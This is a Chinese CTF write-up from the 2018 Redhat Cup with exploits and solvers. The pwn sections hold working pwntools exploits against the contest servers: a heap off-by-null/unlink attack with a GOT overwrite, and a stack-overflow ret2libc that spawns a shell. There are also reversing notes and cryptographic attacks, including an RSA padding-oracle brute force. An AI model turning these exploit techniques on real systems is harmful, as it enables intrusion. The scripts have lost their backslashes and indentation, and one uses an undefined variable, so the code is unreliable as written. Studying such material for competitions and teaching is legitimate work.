刚结束不久的红帽杯,我们团队有幸获得了线上赛第四的成绩,对于我们来说,这成绩差强人意,其中密码学相关题目被我们全部拿下!以下是我们团队的部分writeup(pwn,re,Crypto),re的wp超级详细,感谢队里的re师傅orz.
题目复现地址:https://github.com/moonAgirl/CTF/tree/master/2018/Redhat/
Pwn
Shellcode Manager
绕过前面的一个验证才能进入程序功能,前面就是一个异或,可以通过他的输出得到异或参考串,就可以进入程序内部了;之后fill中存在off-by-null,先通过申请一个大的堆show将足够的异或串收集,之后利用unlink就可以对bss段进行写,再泄露libc,改写atoi就可以了
# coding:utf-8
from pwn import *
debug = 0
context.log_level='debug'
elf = ELF('./pwn3')
#libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')
if debug:
p = process('./pwn3')#,env={'LD_PRELOAD':'/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so'})
libc=ELF('/home/moonagirl/moonagirl/libc/libc_local_x64')
# gdb.attach(p)
else:
p = remote('123.59.138.180', 13579)# 123.59.138.180 13579123.59.138.180 13579
libc = ELF('./libc.so.6.64')
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
def add(size):
sleep(0.2)
p.sendline('1')
sleep(0.2)
p.sendline(str(size))
def fill(index,len,data):
sleep(0.2)
p.sendline('3')
sleep(0.2)
p.sendline(str(index))
sleep(0.2)
p.sendline(str(len))
sleep(0.2)
p.send(data)
def show(index):
sleep(0.2)
p.sendline('4')
sleep(0.2)
p.sendline(str(index))
def delete(index):
sleep(0.2)
p.sendline('2')
sleep(0.2)
p.sendline(str(index))
data1=p.recv(4)
data2=p.recv()
pad1="No passcode No funn"
xor=[]
for i in range(len(pad1)):
xor.append(ord(pad1[i])^ord(data2[i]))
print xor
sleep(0.5)
p.sendline('8')
sleep(0.5)
passcode='1Chun0iu'
enc=''
for i in range(len(passcode)):
enc+=chr(ord(passcode[i])^xor[i])
p.send(enc)
add(0x200)#0
add(0x108)#1
add(0x108)#2
add(0x108)#3
data = 'x00'*(0x200 - 1)
fill(0,0x200 - 1,data)
show(0)
p.recvuntil('Note 0n')
key = p.recv(0x180)
print 'key:'+key
payload = ''
payload += 'x00'*(0x100 - 0x10)
payload += p64(0x100) + p64(0x111)
pay = ''
for i in range(0,14*8):
pay+=chr(ord(payload[i])^ord(key[i]))
for i in range(14*8,2*14*8):
pay+=chr(ord(payload[i])^ord(key[i]))
for i in range(2*14*8,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
fill(2,0x100,pay)
payload = ''
payload += p64(0) + p64(0x101)
payload += p64(0x602120 + 0x10 - 0x18) + p64(0x602120 + 0x10 - 0x10)
payload += 'x00'*(0x100 - 32)
payload += p64(0x100)
pay = ''
for i in range(0,14*8):
pay+=chr(ord(payload[i])^ord(key[i]))
for i in range(14*8,2*14*8):
pay+=chr(ord(payload[i])^ord(key[i]))
for i in range(2*14*8,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
fill(1,0x108,pay)
#z()
delete(2)
payload = ''
payload += p64(0) + p64(elf.got['puts'])
pay = ''
for i in range(0,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
#p.interactive()
#fill(1,0x10,pay)
#z()
sleep(0.2)
p.sendline('3')
sleep(0.2)
p.sendline(str(1))
sleep(0.2)
p.sendline(str(0x10+1))
sleep(0.2)
p.send(pay)
#z()
#show(0)
#p.interactive()
sleep(0.2)
p.sendline('4')
sleep(0.2)
p.sendline(str(0))
sleep(0.2)
p.recvuntil('Note 0n')
puts_addr = u64(p.recv(6).ljust(8,'x00'))
print 'puts_addr:'+hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print 'system_addr:'+hex(system_addr)
payload = ''
payload += p64(0) + p64(elf.got['atoi']) + p64(0x10)
pay = ''
for i in range(0,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
#p.interactive()
#fill(1,0x10,pay)
sleep(0.2)
p.sendline('3')
sleep(0.2)
p.sendline(str(1))
sleep(0.2)
p.sendline(str(0x18+1))
sleep(0.2)
p.send(pay)
#z()
payload = ''
payload += p64(system_addr)
pay = ''
for i in range(0,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
#p.interactive()
#fill(1,0x10,pay)
sleep(0.2)
p.sendline('3')
sleep(0.2)
p.sendline(str(0))
sleep(0.2)
p.sendline(str(8+1))
sleep(0.2)
p.send(pay)
#z()
sleep(0.2)
p.sendline('/bin/shx00')
p.interactive()
game server
这个就是一个简单的栈溢出,先输入两个250*‘a’’,之后就可以输入250+ 250 + 70个字符,造成栈溢出,先泄露libc,再直接返回到system即可
# coding:utf-8
#flag{f3b92d795c9ee0725c160680acd084d9}
from pwn import *
debug = 0
#context.log_level='debug'
elf = ELF('./pwn2')
#libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')
if debug:
p = process('./pwn2',env={'LD_PRELOAD':'./libc6-i386_2.23-0ubuntu7_amd64.so'})
libc=ELF('./libc6-i386_2.23-0ubuntu7_amd64.so')
# gdb.attach(p)
else:
p = remote('123.59.138.180', 20000)#
#libc = ELF('./libc6-i386_2.23-0ubuntu7_amd64.so')
#libc = ELF('./libc6-i386_2.23-0ubuntu9_amd64.so')
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
# one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
init_0 = len('Our %s is a noble %s. He is come from north and well change out would.')
length = init_0 + 256*2
success('len:'+hex(length))
p.recvuntil('First, you need to tell me you name?n')
p.sendline('a'*250)
p.recvuntil('What's you occupation?n')
p.sendline('a'*250)
p.recvuntil('Do you want to edit you introduce by yourself?[Y/N]n')
p.sendline('Y')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = ''
payload += 'a'*0x111
payload += 'b'*4
payload += p32(puts_plt)
payload += p32(0x08048637)
payload += p32(puts_got)
p.sendline(payload)
payload1 = ''
payload1 += p32(puts_plt)
payload1 += p32(0x08048637)
payload1 += p32(puts_got)
p.recvuntil(payload1+'nn')
data = u32(p.recv(4))
success('puts_addr:'+hex(data))
libc_base = data - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
one_gadgets = [0x45216,0x4526a,0xf0274,0xf1117]
success('system_addr:'+hex(system_addr))
success('binsh_addr:'+hex(binsh_addr))
gadget = libc_base + one_gadgets[3]
p.recvuntil('First, you need to tell me you name?n')
p.sendline('a'*250)
p.recvuntil('What's you occupation?n')
p.sendline('a'*250)
p.recvuntil('Do you want to edit you introduce by yourself?[Y/N]n')
p.sendline('Y')
payload = ''
payload += 'a'*0x111
payload += 'b'*4
payload += p32(system_addr)
payload += p32(system_addr)
payload += p32(binsh_addr)
p.sendline(payload)
p.sendline('lsn')
p.interactive()
RE
Wcm
和第一题考的内容一样,都是对称密码,但是第一题没做出来。。心塞。
Ida载入之后,首先判断长度是不是42,是的话继续。
然后进行填充,即填0XFF,直到长度是16的倍数停止。然后调用2个函数。
第一个函数,主要功能是初始化一个table,这个table由伪随机数生成,所以每次都是一样的,没必要关注实现的细节,得到那个表就可以了。
下面进入第二个函数,很明显的对称加密算法,首先byte2dword,然后轮密钥加,然后进入sbox,最后再异或,32轮之后再dword2byte,产生最后的16bit密文。
最后将得到的密文和给定的cipher比较,方式是异或。
那么接下来开始逆向,首先获取最后一轮输出的iv。直接和cipher异或就行了。
然后分析整个加密过程,实现机制和CBC模式很像,下一个DWORD的输出和前三个DWORD有关,这样不需要求sbox_inv,而异或表正好是32dword大小,倒过来的话每次异或的就是32-i,其他部分,包括最开始的byte2dword和最后的dword2byte不影响decode的实现,ROL和ROR函数也只是对输入进行移位,同样不影响。下面给出脚本。
首先是sbox的值。直接就能拿到,不需要求逆。
然后是分组亦或表,直接跟踪第一个函数实现然后dump下来就行了。
Decode函数实现:
最后将48位的cipher分段,16个一组,3次解密,得到flag。
运行结果:
我这里直接输出的是hex值,然后转成ascii就是flag了。
得到flag。
CCM
这题也不算太难吧,上来有个壳,nsp壳的话,直接根据esp定理脱了,然后根据push大小和CRT的规则,定位到main函数。
首先输入,然后判断长度是不是42(不得不说3个题长度都一样),然后进入sub_401380函数。进来之后,首先有个判断。
即前面5个值是和给出的值进行异或得到的,也要求了中间4个值是-,以及最后一位是}。
直接对那5个值进行异或就能得到前五位的flag{。
接下来根据伪随机数产生一张表,具体的值就直接dump了。
然后进行ascii2hex操作,长度扩大一倍。
还需要注意,main中有3处反调试,直接patch掉就行了。
再往下走,会根据hex的值进行查表替换。简单的说,如果原来是数字就进入if,查GHIJKLMNOPQRSTUV,如果不是则进入另一个大表查询。
具体的表值如下。
根据这个表值,进入sub_4010E0函数,再去查一个大表。
很像维吉尼亚密码表。不用管了,直接用就可以了,因为我也是dump的。
再往下走,会遇到一个很长的表达式。包含5个变量。就是对输入处理后的其中5位,然后进入方程,判断是否满足。
最后将处理的部分和cipher比较,方式也是异或。
然后开始逆向。首先根据cipher获取处理后的部分。
得到,很明显,有5位是假的,即出题人故意选择了这样的值,否则那5个变量的方程就没有意义了。
但其实可以发现,因为已经约束了前五位的值,所以第一个不可见字符是可以求出来的。但是这里要先分析前面两个转换的步骤。
第一个部分其实不难理解,就是查下标,因为输入的是数字,直接爆破也可以。
第二个部分是比较烦的。
sub_4010E0这个函数,首先对输入的参数进行比较,分大小写,应该是出题人用来混淆的,其实之前那个表里面得到的都是小写字母,不存在大写字母,所以这里分2类,每类里面2个while循环的算法等价于分一类,其中大写的那部分是不会进去的。
然后看下2个while循环的功能。实际上就是查表了,我也是调试的时候发现的,就是查那个27*27的表,首先是查输入的在第几个,然后对输入进行第二次查表,即对
Sxcunsbjptdunaaxklcvxsikxiewcmpwdngfqtfvomgkbwjrmccntqlratukzoafmngbyykjtabnhrnmweln表进行查找,查找的下标是总出现的次数。
关于次数这个是外面决定的。即出现了几次非数字的次数。
那么到这里的话,我们就可以分析出5个变量中的第一个是什么了,由于前五位flag{是确定的,你们第一个变量的位置就应该是g所对应的hex,而g的ascii是0x67,都是数字,我们只需要模拟第一个部分,即查GHIJKLMNOPQRSTUV,所以是MN。得到第一个变量是N的ascii码值。
然后就不多说了,直接爆破吧。
首先获取那个表,直接用idapython,手抠太烦了。
如下图。
然后爆破就好了。
爆破结果如下:
然后我们就得到了整个cipher。
MMMuMHMNNyJLJKMMJPJKJMMMJLIfMMJPJLMHIxJKMHJGMHIqMIMHJJJHIvJNMIJHJNJHMHJNMLMJMHJOJINe
最后就是逆那2个算法,或者直接爆破也行。我就直接爆破了。
得到flag
Crypto
3dlight
这题自己也是莫名其妙做出来了,感觉方法可能不科学…
先把得到的密文转回三维列表lights,用ans暂存要还原的三维列表,初始值是2表示还没还原;
首先检查lights中的0,只要有0,自己和与它直接相连的都不会发光;
随后检查有没有8,有就代表它自己和它直接相连的都会发光;
再检查有没有在面上的7,有就代表它自己和它直接相连的都会发光;
最后检查有没有在棱上的6,有就代表它自己和它直接相连的都会发光;
然后就是无科学性地循环排除,简单来说检查已经找到(ans=0或1)并熄灭的灯的周围有没有大于2且没找到(ans = 2)的灯,如果正好等于中间的数值,就说明这些灯都是发光的;
在这些查找中,如果lights小于等于1且对应ans=2,那它肯定不发光并置ans=0;
最后脚本:
# coding=utf-8
c = "0303040201040402040202020102040204020002020504020503010406060400050403040607040104040203050604010501030002050502030303020102050404030302020505010502010201040502050302000306060105050102040705020306010105070602030404020508060303040303040606030304060403040504040202040506040006020305060605020504030305060301050302010404030203040302040603010205040608070201020304040607020001030302030403010403030202050502050605040405050307060604060603010604050405070502040303040507040104040404060703000504050406070301010404010306030103040202020504020403020205060301050603020606020105040203050704010203020405070501040202020407050203050503050705030303050305060301050503030202020305050303050502020305050506050103010303050706030203020306070806040303010202060602030205040303020203030404060501000303030301010203030504020206040302030502030503040102050405070302030305060607070405030301020606030304060302020303040505040405020100020101000101010304040101050402030504000105040302040502020504020203060402040502040405030204060201030605030405040102050404040402".decode('hex')
def str2arr(str):
return [[[ord(str[i*8*8+j*8+k]) for k in xrange(8)] for j in xrange(8)] for i in xrange(8)]
def arr2str(arr):
ret = ''
for i in xrange(8):
for j in xrange(8):
tmp = ''
for k in xrange(8):
tmp += str(arr[i][j][k])
ret += chr(int(tmp[::-1],2))
return ret
lights = str2arr(c)
ans = [[[2 for _ in xrange(8)] for _ in xrange(8)] for _ in xrange(8)]
dir = [[0, 0, 1], [0, 0, -1], [0, 1, 0], [0, -1, 0], [1, 0, 0], [-1, 0, 0]]
def check(x, y, z):
if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7:
return False
return True
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] == 0:
ans[i][j][k] = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z):
ans[i + x][j + y][k + z] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] == 8:
lights[i][j][k] = lights[i][j][k] - 2
ans[i][j][k] = 1
for (x, y, z) in dir:
if check(i + x, j + y, k + z):
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 3
ans[i + x][j + y][k + z] = 1
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] == 7 and ((i == 0 and j != 0 and k !=0) or (i != 0 and j == 0 and k !=0) or (i != 0 and j != 0 and k ==0)):
lights[i][j][k] = lights[i][j][k] - 2
ans[i][j][k] = 1
for (x, y, z) in dir:
if check(i + x, j + y, k + z):
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 3
ans[i + x][j + y][k + z] = 1
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] == 6 and ((i == 0 and j == 0 and k !=0) or (i != 0 and j == 0 and k ==0) or (i == 0 and j != 0 and k ==0)):
lights[i][j][k] = lights[i][j][k] - 2
ans[i][j][k] = 1
for (x, y, z) in dir:
if check(i + x, j + y, k + z):
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 3
ans[i + x][j + y][k + z] = 1
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if ans[i][j][k] == 0 and lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if ans[i][j][k] == 0 and lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if ans[i][j][k] == 0 and lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if ans[i][j][k] == 1 and lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] != 0:
num = 0
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
num = num + 1
if num == lights[i][j][k]:
for (x, y, z) in dir:
if check(i + x, j + y, k + z) and lights[i + x][j + y][k + z] >= 2 and ans[i + x][j + y][k + z] == 2:
ans[i + x][j + y][k + z] = 1
lights[i + x][j + y][k + z] = lights[i + x][j + y][k + z] - 2
for (x1, y1, z1) in dir:
if check(i + x + x1, j + y + y1, k + z + z1):
lights[i + x + x1][j + y + y1][k + z + z1] = lights[i + x + x1][j + y + y1][k + z + z1] - 1
for i in range(8):
for j in range(8):
for k in range(8):
if lights[i][j][k] <= 1 and ans[i][j][k] == 2:
ans[i][j][k] = 0
flag = arr2str(ans)
print ''.join(flag[0::2][i] + flag[-1::-2][i] for i in xrange(32))
得到flag:
rsa system
这题相对比较简单,就是自己可以构造padding,如果padding正好256字节就不会再填充,这样就可以利用
构造我们想要unpad,从256字节高字节开始逐字节爆破出flag,脚本:
# coding=utf-8
from pwn import *
n = 0xBACA954B2835186EEE1DAC2EF38D7E11582127FB9E6107CCAFE854AE311C07ACDE3AAC8F0226E1435D53F03DC9CE6701CF9407C77CA9EE8B5C0DEE300B11DD4D6DC33AC50CA9628A7FB3928943F90738BF6F5EC39F786D1E6AD565EB6E0F1F92ED3227658FDC7C3AE0D4017941E1D5B27DB0F12AE1B54664FD820736235DA626F0D6F97859E5969902088538CF70A0E8B833CE1896AE91FB62852422B8C29941903A6CF4A70DF2ACA1D5161E01CECFE3AD80041B2EE0ACEAA69C793D6DCCC408519A8C718148CF897ACB24FADD8485588B50F39BCC0BBF2BF7AD56A51CB3963F1EB83D2159E715C773A1CB5ACC05B95D2253EEFC3CCC1083A5EF279AF06BB92F
e = 0x10001
s_box = [
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
]
def pad(s):
ret = ['x00' for _ in range(256)]
for index, pos in enumerate(s_box):
ret[pos] = s[index]
return ''.join(ret)
def str2int(s):
return int(s.encode('hex'), 16)
def mul(x, y, z):
ret = 1
while y != 0:
if y & 1 != 0:
ret = (ret * x) % z
x = (x * x) % z
y >>= 1
return ret
flag = ""
num = 255
while len(flag) != 38:
p = remote("123.59.138.211", 23333)
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil(": ")
p.sendline(chr(num) * 218)
p.recvuntil("Success")
p.sendline("1")
p.recvuntil(": ")
s = 'x02' * num
p.sendline(s)
p.recvuntil("Success")
p.sendline("2")
p.recvuntil("0x")
br = int(r.recvline().replace("n",""),16)
for c in range(20,128):
if br == mul(str2int(pad(flag + chr(c) + s)), e, n):
flag += chr(c)
break
num = num - 1
p.close()
print flag
advanced ecc
这题主要漏洞点在
那么我们可以利用返回的level1的C2和level2的C2与G爆破出r[0]-r[1];
再利用level1的C1和level2的C1与K求出M就可以解密了,详见脚本:
# -*- coding: utf-8 -*-
def extended_gcd(a, b):
x, y = 0, 1
lastx, lasty = 1, 0
while b:
a, (q, b) = b, divmod(a, b)
x, lastx = lastx - q * x, x
y, lasty = lasty - q * y, y
return (a, lastx, lasty)
def modinv(a, m):
g, x, _ = extended_gcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
class Point:
def __init__(self, x, y):
self.x, self.y = x, y
def equals(self, p):
return (self.x == p.x and self.y == p.y)
class ECurve:
# y^2 = x^3 + ax + b mod p
def __init__(self, a, b, p):
self.a, self.b, self.p = a, b, p
# The method checks if the point is a valid point
# and satisfies 4a^3 + 27b^2 != 0
def check(self, p):
l = (p.y * p.y) % self.p
r = (p.x * p.x * p.x + self.a * p.x + self.b) % self.p
c = 4 * self.a * self.a * self.a + 27 * self.b * self.b
return l == r and c != 0
# Implements point addition P + Q
def add(self, p, q):
r = Point(0, 0)
if p.equals(r): return q
if q.equals(r): return p
# if P = Q
if p.equals(q):
if p.y != 0:
l = ((3 * p.x * p.x + self.a) % self.p * modinv(2 * p.y, self.p)) % self.p
r.x = (l * l - 2 * p.x) % self.p
r.y = (l * (p.x - r.x) - p.y) % self.p
# if P != Q
else:
if q.x - p.x != 0:
l = ((q.y - p.y) % self.p * modinv(q.x - p.x, self.p)) % self.p
r.x = (l * l - p.x - q.x) % self.p
r.y = (l * (p.x - r.x) - p.y) % self.p
return r
# Implements modular multiplication nP
def multiply(self, p, n):
ret = Point(0, 0)
while n > 0:
if n & 1 == 1:
ret = self.add(ret, p)
p = self.add(p, p)
n >>= 1
return ret
G = Point(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798, 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8)
K = Point(0xe05fc87bcf70996bedd04fefdf862c1a9d1be7c265aeaa01c064b26d885dbb48, 0xb2fc8bd045cc3927b9325dccdfdb0b31524e551bc41640a21578b72bd24d4f95)
flag = 0x666c61677b378bcf71e09c2de9093708ca2ce1770c1e92a4d998ebb303f3fe4ba2b4cd153cfb
C1 = Point(0xa4c7ad80c3786c06b864e227564eef0f62ac8846396bd60022d8f1361bfccd76, 0x4f1b975180cb7bc0d5f9727483a2c473f933db3996fd1b041fcb06885d40ebac)
C2 = Point(0x5b9f0eec2da107db668b2bc448ba8a321355c1e91a1144761a75a9995d4e7c9a, 0x5c4adca18aa1c00eac68d9ea5ba7f859cc3fc838c2758806e4b0c981b0541a36)
C3 = Point(0x91dfb73c4ebd8ec249fa933e4c6ccc6bcabb7c9b5bd3dae313deb7c77aa70820, 0xc5ed9e124105e5f2b6995300905482236074a89839a45c63e48b078de0a857ea)
C4 = Point(0x5f16bb008b865364af1d885efb7d823db081419a4dba8c7437caa4bc794b9d33, 0x785cba0e0774d699f5ec0b316f5754ad08304102fd111f66db9236664de4256b)
C5 = Point(0xa0f115089a833a6133a5512ca43b62e572ad3a7e410a6816fd0478bd4ac233f4, 0xb498d4d0015b76c953be21f5ec538f8f928ac2bdb7b0ab2fe40c671ced524216)
C6 = Point(0x4d70eeb520d304c8f2a3217808af2c425fd4632fad084d81f486248ade59750e, 0x52cb471ca6c46c2b9da2842b1a928c21417587c52fa07213807b961259e0af5b)
a = 0
b = 7
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
curve = ECurve(a, b, p)
"""
C2_ = curve.multiply(C2, 2)
CC = curve.add(C2_, Point(C4.x, curve.p - C4.y))
num = 419665
while num > 0:
if CC.x == curve.multiply(G, num).x:
print num
print CC.y , curve.multiply(G, num).y
#exit(0)
num = num - 1
"""
r0_r1 = 419665
C1_ = curve.multiply(C1, 2)
CC = curve.add(C1_, Point(C3.x, curve.p - C3.y))
M = curve.add(CC,Point(curve.multiply(K, r0_r1).x,curve.p - curve.multiply(K, r0_r1).y))
print hex(M.x ^ flag)[2:].replace("L","").decode('hex')